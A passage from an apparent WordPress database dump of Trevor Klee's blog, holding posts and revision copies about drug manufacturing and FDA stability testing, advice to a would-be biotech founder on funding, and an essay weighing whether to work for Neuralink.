sign posted on the machine. I’ve always hated this saying. I think the fact that it rhymes makes it worse. It makes it sound like a fact, rather than a power trip.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But, because these are drugs that are going inside sick patients, we’ve got to be a little more intentional with our cleaning. Every part of the cleaning process is prodded and examined: what we use to clean (the “cleaning matrix”), what our cleaning procedure is, and how clean is clean enough (the “allowable residue limit”).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once we know how we’re going to clean, we next need to know how to make sure the cleaning hasn’t affected our end product. So, we develop an assay to test the drug to make sure it’s exactly as it should be and hasn’t been changed chemically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, we need to prepare for our GMP manufacturing of our actual drug batch. This means “validating the method”, or turning the steps we figured out during our prototype batch into a formal procedure that can be replicated. This is assuming, of course, that our prototype batch went exactly to plan.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>4. Manufacturing the drug.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, at the 6 month mark, we check that our drug still is fully dissolved and unchanged chemically.<br><br>Assuming that it is, we can go ahead and manufacture our first batch of drug for our safety trials and our formal, FDA-mandated testing. This manufacturing is GMP, which means it needs to follow the method we developed before and be exhaustively documented. It also means that we need to test the drug again to make sure it was developed right and we didn’t introduce any impurities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of all of this, we have our GMP batch. This is the batch we will then use for our safety trial, making sure the cats don’t get sick when we give them the drug.<br><br>And, importantly, we’ll also use this batch for our…drum roll please…additional testing! This one is the official, FDA mandated test, during which we keep the batch for 24 months at a range of temperatures and humidities and then test it to make sure it’s fine. Practically speaking, we already did that, because a drug that’s stable at 6 months will almost certainly be stable at 24 months. But, good luck convincing the FDA of anything “practically speaking”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of this 24 month period, as long as you’ve successfully completed your safety and pivotal trials, you have a drug. Huzzah!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-to-manufacture-a-drug#footnote-anchor-1-101888108\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sorry for being vague, but I’m under an NDA. This was the minimum cost and minimum amount of time from the proposals we received. The actual cost and actual amount of time is somewhere north of this.</p>\n<!-- /wp:paragraph -->','How to manufacture a drug','','inherit','closed','closed','','367-revision-v1','','','2024-06-12 15:31:51','2024-06-12 15:31:51','',367,'https://trevorklee.com/?p=368',0,'revision','',0),
(369,1,'2024-06-12 15:33:01','2024-06-12 15:33:01','<!-- wp:paragraph -->\n<p><em>Based on a few conversations I’ve had recently.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dear Such-and-Such,</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thank you for your email to me. My weekend did go well. I appreciate you asking.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Congrats on almost finishing your PhD. That’s a big accomplishment! It sounds like you’re working on some interesting stuff.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyhow, I appreciate you reaching out to me about wanting to start a biotech company based on your PhD research. Here are my thoughts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You said you think you’ve developed an engine for developing new drugs for a certain target, and that you just need money for a proof-of-concept. Then, you’re thinking about licensing the drugs, the engine, or developing the drugs yourself. Now, I like where you’re coming from, but I have bad news. You’re going to have a rough time with doing any of that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s not that I think your idea doesn’t work. I mean, it might, although I’m not going to sign an NDA to do due diligence on it, as there’s literally nothing in that for me. Here’s your basic problem: nobody knows you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That shouldn’t matter that much, but it does. Nobody knows you, so you’re not going to get any intros to companies who might want to license your drug or your engine. Even if you did, the company wouldn’t want to license a drug or an engine from someone who nobody knows, because it’s really tough to write an exciting press release around that. And, if they can’t write an exciting press release, then they’re not going to be able to raise money for the next step, yeah?<br><br>Because that’s what it all comes down to. What you’re proposing is coming in at the pre-clinical stage, either with another company or on your own. That’s ok, as that’s where pretty much all drugs start. However, if you really want to do a new chemical entity for a human drug, that’s at least a couple million to finish preclinical, $5 million for phase 1, $10 million for phase 2, and $30 million for phase 3. The million dollar question (sorry) then becomes: who’s going to pay for all of this?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s what every partner and every venture capitalist will be thinking about. Unless you partner with Pfizer, nobody can take your drug from preclinicals to market on their own. I mean, even if you do partner with Pfizer, no one person in Pfizer can do it either. They have to constantly be justifying it to their internal business development team.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That means that you need a really good answer to how you will get the funding for the next step. And, if you plan to get venture capital, you also need a really good answer to how you’re eventually going to pay them back (i.e. by IPOing or getting acquired), and you need to be thinking about that from the very first check. Keep in mind, by the way, that almost all acquisitions and IPOs happen&nbsp;<em>before</em>&nbsp;your first drug makes any revenue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s what my advice would be for your options then:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Do a postdoc with a professor who has lots of spinouts. This will be a very competitive position, and, once you do get venture capital, you are going to have to fight very hard with the VCs to retain more than a 3% share of your company and a meaningless position as a scientific advisor. However, you will find it easy to get lots of money for your spinout, and 3% of a big number is also a big number.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Get a job at a VC and get them to trust you. Once they can trust you to make decisions with lots of money, you can get funding for your own project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Work at a name brand company for 10 years, network aggressively with VCs, and then start your own thing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Search really hard to find an idea that doesn’t require that much money for the initial experiments. Use your own money for the initial experiments. Then, because you have no brand name, network with random people with money until you slowly cobble together enough checks to make it to the next step, and the next step, until finally you have a drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me know what you decide to do, and best of luck!<br><br>Best,<br>Trevor Klee</p>\n<!-- /wp:paragraph -->','Letter to a young biotech founder','','publish','closed','closed','','letter-to-a-young-biotech-founder','','','2024-06-12 15:33:01','2024-06-12 15:33:01','',0,'https://trevorklee.com/?page_id=369',0,'page','',0),
(370,1,'2024-06-12 15:33:01','2024-06-12 15:33:01','<!-- wp:paragraph -->\n<p><em>Based on a few conversations I’ve had recently.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dear Such-and-Such,</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thank you for your email to me. My weekend did go well. I appreciate you asking.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Congrats on almost finishing your PhD. That’s a big accomplishment! It sounds like you’re working on some interesting stuff.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyhow, I appreciate you reaching out to me about wanting to start a biotech company based on your PhD research. Here are my thoughts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You said you think you’ve developed an engine for developing new drugs for a certain target, and that you just need money for a proof-of-concept. Then, you’re thinking about licensing the drugs, the engine, or developing the drugs yourself. Now, I like where you’re coming from, but I have bad news. You’re going to have a rough time with doing any of that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s not that I think your idea doesn’t work. I mean, it might, although I’m not going to sign an NDA to do due diligence on it, as there’s literally nothing in that for me. Here’s your basic problem: nobody knows you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That shouldn’t matter that much, but it does. Nobody knows you, so you’re not going to get any intros to companies who might want to license your drug or your engine. Even if you did, the company wouldn’t want to license a drug or an engine from someone who nobody knows, because it’s really tough to write an exciting press release around that. And, if they can’t write an exciting press release, then they’re not going to be able to raise money for the next step, yeah?<br><br>Because that’s what it all comes down to. What you’re proposing is coming in at the pre-clinical stage, either with another company or on your own. That’s ok, as that’s where pretty much all drugs start. However, if you really want to do a new chemical entity for a human drug, that’s at least a couple million to finish preclinical, $5 million for phase 1, $10 million for phase 2, and $30 million for phase 3. The million dollar question (sorry) then becomes: who’s going to pay for all of this?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s what every partner and every venture capitalist will be thinking about. Unless you partner with Pfizer, nobody can take your drug from preclinicals to market on their own. I mean, even if you do partner with Pfizer, no one person in Pfizer can do it either. They have to constantly be justifying it to their internal business development team.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That means that you need a really good answer to how you will get the funding for the next step. And, if you plan to get venture capital, you also need a really good answer to how you’re eventually going to pay them back (i.e. by IPOing or getting acquired), and you need to be thinking about that from the very first check. Keep in mind, by the way, that almost all acquisitions and IPOs happen&nbsp;<em>before</em>&nbsp;your first drug makes any revenue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s what my advice would be for your options then:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Do a postdoc with a professor who has lots of spinouts. This will be a very competitive position, and, once you do get venture capital, you are going to have to fight very hard with the VCs to retain more than a 3% share of your company and a meaningless position as a scientific advisor. However, you will find it easy to get lots of money for your spinout, and 3% of a big number is also a big number.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Get a job at a VC and get them to trust you. Once they can trust you to make decisions with lots of money, you can get funding for your own project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Work at a name brand company for 10 years, network aggressively with VCs, and then start your own thing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Search really hard to find an idea that doesn’t require that much money for the initial experiments. Use your own money for the initial experiments. Then, because you have no brand name, network with random people with money until you slowly cobble together enough checks to make it to the next step, and the next step, until finally you have a drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me know what you decide to do, and best of luck!<br><br>Best,<br>Trevor Klee</p>\n<!-- /wp:paragraph -->','Letter to a young biotech founder','','inherit','closed','closed','','369-revision-v1','','','2024-06-12 15:33:01','2024-06-12 15:33:01','',369,'https://trevorklee.com/?p=370',0,'revision','',0),
(371,1,'2024-06-12 15:34:24','2024-06-12 15:34:24','<!-- wp:paragraph -->\n<p>I’ve been batting about an essay for two months now on the question, “Should you work for Neuralink?” However, I’ve ultimately failed to answer this question to my satisfaction. So, I thought I’d explain how far I got, where I’m stuck, and then what I would need to know in order to actually answer this question.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, first of all, context: Neuralink is a brain-computer interface company run by and founded by Elon Musk. It was launched in 2016, intermittently gets a lot of hype, and seems to bleed employees, including 6 out of 8 of the original scientific cofounders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Subscribe for free to receive new posts, which are usually much more finished than this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I never really used to care about Neuralink, to be honest. First, I’m naturally skeptical of all companies founded on highly speculative technologies, and I think most of them should be nonprofit research projects. Second, I’m skeptical of most Elon Musk projects, as it’s exhausting separating the hype from the reality. Third, and most importantly, I never really got why anyone would care about brain-computer interfaces, as I didn’t get any practical purposes of linking together brains and machines outside of very niche applications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What prompted this essay, however, is that I recently changed my mind on this last point. A couple months ago, I played an excellent cyberpunk videogame,&nbsp;<em>Citizen Sleeper</em>. Like any good cyberpunk media,&nbsp;<em>Citizen Sleeper&nbsp;</em>grapples a lot with societal and personal benefits and consequences of near-future tech. One of the pieces of near-future tech that comes up consistently is the brain-computer interface (BCI).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Playing&nbsp;<em>Citizen Sleeper</em>&nbsp;made me realize some of the promises of BCI, as well as think more thoroughly about the downsides.&nbsp; In the game, you meet many characters who have either chosen or been forced to use BCIs. If you’re ok with some spoilers, in&nbsp;<em>Citizen Sleeper</em>&nbsp;you meet:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Start spoilers]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) a paralyzed space captain who uses a brain computer interface to control a suit of robot armor that pilots his body</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) a short-order cook who still bears scars from where his BCI-piloted robot was welded to his body by a faceless corporation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) a gangster who uses a BCI to control a superstrong robot arm, only to find out that the robot arm can also be remotely controlled by the manufacturer</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even you yourself, the titular “Sleeper”, are a product of a BCI. You rented your own consciousness to a corporation, who uploaded it through a BCI to an artificial body that they used as slave labor while the original body remained in stasis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[End spoilers]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are all semi-realistic uses of BCIs. I get why these might be appealing in industry or in personal life.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, around the same time that I was completing&nbsp;<em>Citizen Sleeper</em>, Elon Musk’s Neuralink, a BCI company, had&nbsp;<a href=\"https://www.youtube.com/watch?v=YreDYmXTYi4\">a technical presentation</a>. Like all Elon Musk’s stuff, this came with a fair amount of hype. As of writing, his presentation has over 600,000 views, which is pretty amazing for a 2 hour, 45 minute dry technical presentation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of Elon Musk’s introduction, he talks about how this presentation is specifically a recruiting presentation. He says if you’ve ever had any part in designing any kind of electronic hardware, you should apply to work at Neuralink.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I wanted to determine for myself if that was the case.&nbsp;<em>Should</em>&nbsp;someone technically skilled apply to work for Neuralink?<br><br>Well, to my mind, before you can answer that question, there would actually be 5 questions you’d have to answer.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Should you be working in BCI at all?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Are Neuralink’s goals valuable?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Does Neuralink’s strategy make sense?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Is Neuralink’s track record impressive?<br><br>5. Are there ethical issues in working for Neuralink?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to take these questions one-by-one. Here’s how far I got.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should you be working in BCI at all?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Depending on how seriously you take a sci-fi future, this question might be easy to answer for you. The quasi-dystopian future of&nbsp;<em>Citizen Sleeper</em>&nbsp;would not be possible without serious advancements in BCIs, nor would Elon Musk’s wild ideas of using BCIs to make sure humans reach parity with eventual superintelligent AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, to my mind, you could make the same sci-fi future argument about flying cars, but I think you would have had a really miserable career if you dedicated yourself to flying cars for the past 50 years. So, I think a better question would be, “If you dedicate the next 50 years of your career to BCIs starting now, will you have a satisfying career?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a complex question. Here’s one way of looking at it. If you had started working in BCIs 25 years ago, here would have been the possible highlights on your resume:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) Reproducing&nbsp;<a href=\"https://www.wired.com/1999/10/a-cats-eye-view/\">the images seen by cats</a>&nbsp;on a computer screen by reading their brain (1999)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2)&nbsp;<a href=\"https://www.wired.com/2002/09/vision/\">Helping blind people see again</a>&nbsp;(2002)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3)&nbsp;<a href=\"https://www.nicolelislab.net/?p=492\">Teaching monkeys how to control robot arms</a>&nbsp;(2013) using only their brain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4)&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3641862\">Allowing tetraplegics to control robot prosthetic limbs</a>&nbsp;(2014)&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5) Giving monkeys&nbsp;<a href=\"https://zenodo.org/record/583331\">sensory feedback after controlling robot arms directly to their sensory cortex</a>&nbsp;(2017)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6)&nbsp;<a href=\"https://alsnewstoday.com/news/stentrode-device-allows-computer-control-by-als-patients-with-partial-upper-limb-paralysis/\">Allowing ALS patients to operate computers</a>&nbsp;(2020)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7)&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9714519\">Synthesizing speech for patients with neurological disorders</a>&nbsp;(2022)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These would all be cool highlights to have! It’s not necessarily the most obvious order (who would have guessed that synthesizing speech would come 20 years after sight), but it would still be neat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One obvious drawback that you might notice to working on these is that none of these are commercialized. The average blind person can’t get any sort of implant to see again 20 years later (although there are a lot of recent studies into this). Same thing with walking or controlling robot limbs for the average paraplegic or tetraplegic. So far, blind people still rely on seeing eye dogs, and paraplegics still rely on wheelchairs and long sticks. So, these highlights would not have produced any significant real-world impact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, it seems pretty obvious as to why these haven’t produced any real world impact. That’s because all these interventions are expensive, one-off solutions that require top-notch surgeons, electrical engineers, and programmers. It’s very tough to scale stuff like that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, as you might imagine, people are always claiming we are very close to getting to a place where we can get easy-to-implant, mass-manufactured BCIs that would be widely available. This includes stuff like&nbsp;<a href=\"https://www.technologyreview.com/2020/08/30/1007786/elon-musks-neuralink-demo-update-neuroscience-theater/\">Neuralink’s wireless transmission</a>&nbsp;and&nbsp;<a href=\"https://en.wikipedia.org/wiki/Stent-electrode_recording_array\">the Stentrode</a>, which is a BCI that’s located in the jugular vein rather than in the brain itself (i.e. it doesn’t require open brain surgery).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I just lack the expertise to say whether we can legitimately expect these innovations to lead to safer, cheaper, easier-to-implant BCIs, even if all the plans of the founders go exactly as promised. So that’s the first place I got stuck: I don’t really understand the challenges in mass-producing any of this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are Neuralink’s goals valuable?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This one’s easier. I think, by and large, Neuralink’s stated goals aren’t valuable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They say on their website, “We’re aiming to design a fully implantable, cosmetically invisible brain-computer interface to let you control a computer or mobile device anywhere you go”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think most people want this or need this. Unlike Elon, I’m fine using my fingers to scroll Twitter as I don’t need the timeline downloaded directly to my brain. Also, unlike Elon, I don’t think connecting human brains to supercomputers is a good or realistic goal, and I don’t really see a clear path from what they’re doing now to robot brains.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, a mass-market BCI could be great for blind or paralyzed people. So, maybe we can expect that this supercomputer nonsense ends up having an ulterior benefit. I do worry that, if Neuralink does get on the market, they’d bank so much on the supercomputer crowd that the product would flop and Neuralink wouldn’t even end up being available to blind or paralyzed people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does Neuralink’s strategy make sense?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Neuralink has a multi-pronged scientific strategy for achieving their scientific goals that’s difficult for me to evaluate scientifically, but I can say confidently that it requires a frighteningly lot of things to go right.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They plan to have micron scale threads that attach to an implant that transmits information about neural impulses wirelessly. These micron scale threads and the implant will be resistant to corrosion from brain fluid and last for years. The threads and implant themselves will be installed via robot surgery.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these pieces of tech are complicated and would require internal development on the part of Neuralink to work correctly. None of them are off-the-shelf. Getting all these things working correctly and working together is hard!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you listen to Neuralink’s presentation, they act like they’ve already got every part of this working perfectly in monkeys. However, there’s really no way of verifying exactly what it is that they’re doing, as they haven’t published anything, as far as I know.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I am, again, not well versed enough in materials engineering, electrical engineering, or robotics to really evaluate exactly how difficult all of this is. But this does seem like a lot of things that will need to be developed. I generally don’t think it’s a good idea for a new team to make a new product that requires a bunch of technical advances, as usually just getting existing things to work together is hard enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is Neuralink’s track record impressive?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As I mentioned, I can’t really know exactly what’s going on with Neuralink’s monkey demos. What seems clear is that they’ve developed some sort of wireless interface that allows monkeys to play pong or to select letters from a keyboard.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only part of this that’s more impressive than the demos from 10 years ago is the wireless part. Again, scientists taught monkeys&nbsp;<a href=\"https://techcrunch.com/2017/11/28/monkeys-controlling-robot-arms-with-their-minds-show-how-brains-can-be-reprogrammed/\">how to control robot arms in 2013</a>. That’s at least on the same level as selecting letters from a keyboard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wireless is definitely some kind of an advance, but it’s hard for me to say exactly how impressive it is because I don’t know enough about wireless. My only real point of comparison is the&nbsp;<em>Oculus</em>&nbsp;VR headset, which is still the only wireless headset after 4-ish years even though that’s an obvious selling point. My guess from that is that wireless is hard and expensive to implement in hardware, so it’s impressive that Neuralink managed it. Their other accomplishments are less impressive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are there ethical issues in working for Neuralink?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are always weird issues working for Elon Musk’s companies. He’s a weird guy and there’s always negative press.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most recently, there was a report in 2022 that, from 2017 to 2020, 15 out of 23 monkeys were euthanized as part of Neuralink’s experiments. It’s also possible some of those monkeys underwent severe psychological distress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My feelings on this are mixed. If I was convinced that Neuralink was clearly heading in the direction of, say, giving blind people sight, I might think this is an ok price to pay. But, as you can probably tell, I’m not convinced, so this does kind of seem like torturing monkeys without a good reason as to why. That seems bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Overall, I would lean against working for Neuralink, but I’m really not confident on this. Before answering this definitively, I’d want to know:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. The reason why BCIs aren’t commercially available 20 years later, including a better idea of the market size, the marginal cost of developing and installing them, and the challenges of manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. How likely it is that one of the other approaches to BCIs (i.e. the Stentrode) will lead to better results.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. The engineering challenges behind Neuralink’s exact approach.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s where I’ll leave this, unless I come back to this in several months because I’m still bothered by the unfinished nature of this post.</p>\n<!-- /wp:paragraph -->','Should you work for Neuralink? Probably not.','','publish','closed','closed','','should-you-work-for-neuralink-probably-not','','','2024-06-12 15:34:24','2024-06-12 15:34:24','',0,'https://trevorklee.com/?page_id=371',0,'page','',0),
(372,1,'2024-06-12 15:34:24','2024-06-12 15:34:24','<!-- wp:paragraph -->\n<p>I’ve been batting about an essay for two months now on the question, “Should you work for Neuralink?” However, I’ve ultimately failed to answer this question to my satisfaction. So, I thought I’d explain how far I got, where I’m stuck, and then what I would need to know in order to actually answer this question.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, first of all, context: Neuralink is a brain-computer interface company run by and founded by Elon Musk. It was launched in 2016, intermittently gets a lot of hype, and seems to bleed employees, including 6 out of 8 of the original scientific cofounders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Subscribe for free to receive new posts, which are usually much more finished than this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I never really used to care about Neuralink, to be honest. First, I’m naturally skeptical of all companies founded on highly speculative technologies, and I think most of them should be nonprofit research projects. Second, I’m skeptical of most Elon Musk projects, as it’s exhausting separating the hype from the reality. Third, and most importantly, I never really got why anyone would care about brain-computer interfaces, as I didn’t get any practical purposes of linking together brains and machines outside of very niche applications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What prompted this essay, however, is that I recently changed my mind on this last point. A couple months ago, I played an excellent cyberpunk videogame,&nbsp;<em>Citizen Sleeper</em>. Like any good cyberpunk media,&nbsp;<em>Citizen Sleeper&nbsp;</em>grapples a lot with societal and personal benefits and consequences of near-future tech. One of the pieces of near-future tech that comes up consistently is the brain-computer interface (BCI).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Playing&nbsp;<em>Citizen Sleeper</em>&nbsp;made me realize some of the promises of BCI, as well as think more thoroughly about the downsides.&nbsp; In the game, you meet many characters who have either chosen or been forced to use BCIs. If you’re ok with some spoilers, in&nbsp;<em>Citizen Sleeper</em>&nbsp;you meet:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Start spoilers]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) a paralyzed space captain who uses a brain computer interface to control a suit of robot armor that pilots his body</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) a short-order cook who still bears scars from where his BCI-piloted robot was welded to his body by a faceless corporation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) a gangster who uses a BCI to control a superstrong robot arm, only to find out that the robot arm can also be remotely controlled by the manufacturer</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even you yourself, the titular “Sleeper”, are a product of a BCI. You rented your own consciousness to a corporation, who uploaded it through a BCI to an artificial body that they used as slave labor while the original body remained in stasis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[End spoilers]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are all semi-realistic uses of BCIs. I get why these might be appealing in industry or in personal life.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, around the same time that I was completing&nbsp;<em>Citizen Sleeper</em>, Elon Musk’s Neuralink, a BCI company, had&nbsp;<a href=\"https://www.youtube.com/watch?v=YreDYmXTYi4\">a technical presentation</a>. Like all Elon Musk’s stuff, this came with a fair amount of hype. As of writing, his presentation has over 600,000 views, which is pretty amazing for a 2 hour, 45 minute dry technical presentation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of Elon Musk’s introduction, he talks about how this presentation is specifically a recruiting presentation. He says if you’ve ever had any part in designing any kind of electronic hardware, you should apply to work at Neuralink.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I wanted to determine for myself if that was the case.&nbsp;<em>Should</em>&nbsp;someone technically skilled apply to work for Neuralink?<br><br>Well, to my mind, before you can answer that question, there would actually be 5 questions you’d have to answer.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Should you be working in BCI at all?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Are Neuralink’s goals valuable?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Does Neuralink’s strategy make sense?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Is Neuralink’s track record impressive?<br><br>5. Are there ethical issues in working for Neuralink?</p>\n<!-- /wp:paragraph -->\n\n<!-- 